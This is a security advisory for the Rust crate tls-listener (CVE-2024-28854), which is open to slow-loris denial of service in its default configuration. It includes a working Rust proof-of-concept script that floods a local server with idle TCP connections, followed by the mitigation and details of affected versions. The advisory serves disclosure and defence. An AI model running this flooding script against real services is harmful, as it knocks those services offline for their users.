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Security Advisories: GSA_kwCzR0hTQS0ycXBoLXFwdm0tMnFmN84AA6CO
tls-listener affected by the slow loris vulnerability with default configuration
Summary
With the default configuration of tls-listener, a malicious user can open 6.4 TcpStream
s a second, sending 0 bytes, and can trigger a DoS.
Details
The default configuration options make any public service using TlsListener::new()
vulnerable to a slow-loris DoS attack.
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
PoC
Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};
#[tokio::main]
async fn main() {
const N: usize = 1024;
const T: Duration = Duration::from_secs(10);
let url = "127.0.0.1:3000";
let sockets: Vec<_> = url
.to_socket_addrs()
.unwrap()
.inspect(|s| println!("{s:?}"))
.collect();
let mut js = JoinSet::new();
let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
for _ in 0..10000 {
for &socket in &sockets {
int.tick().await;
js.spawn(async move {
let mut stream = TcpStream::connect(socket).await.unwrap();
let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
});
}
}
while js.join_next().await.is_some() {}
}
Impact
This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener
Mitigation
Previous versions can mitigate this by passing a large value, such as usize::MAX
as the parameter to Builder::max_handshakes
.
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycXBoLXFwdm0tMnFmN84AA6CO
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: about 1 month ago
CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Identifiers: GHSA-2qph-qpvm-2qf7, CVE-2024-28854
References:
- https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7
- https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4
- https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0
- https://nvd.nist.gov/vuln/detail/CVE-2024-28854
- https://en.wikipedia.org/wiki/Slowloris_(computer_security)
- https://github.com/advisories/GHSA-2qph-qpvm-2qf7
Blast Radius: 14.5
Affected Packages
cargo:tls-listener
Dependent packages: 7Dependent repositories: 85
Downloads: 705,982 total
Affected Version Ranges: <= 0.9.1
Fixed in: 0.10.0
All affected versions: 0.1.0, 0.1.1, 0.2.0, 0.2.1, 0.3.0, 0.4.0, 0.4.1, 0.4.2, 0.4.3, 0.5.0, 0.5.1, 0.6.0, 0.7.0, 0.8.0, 0.9.0, 0.9.1
All unaffected versions: 0.10.0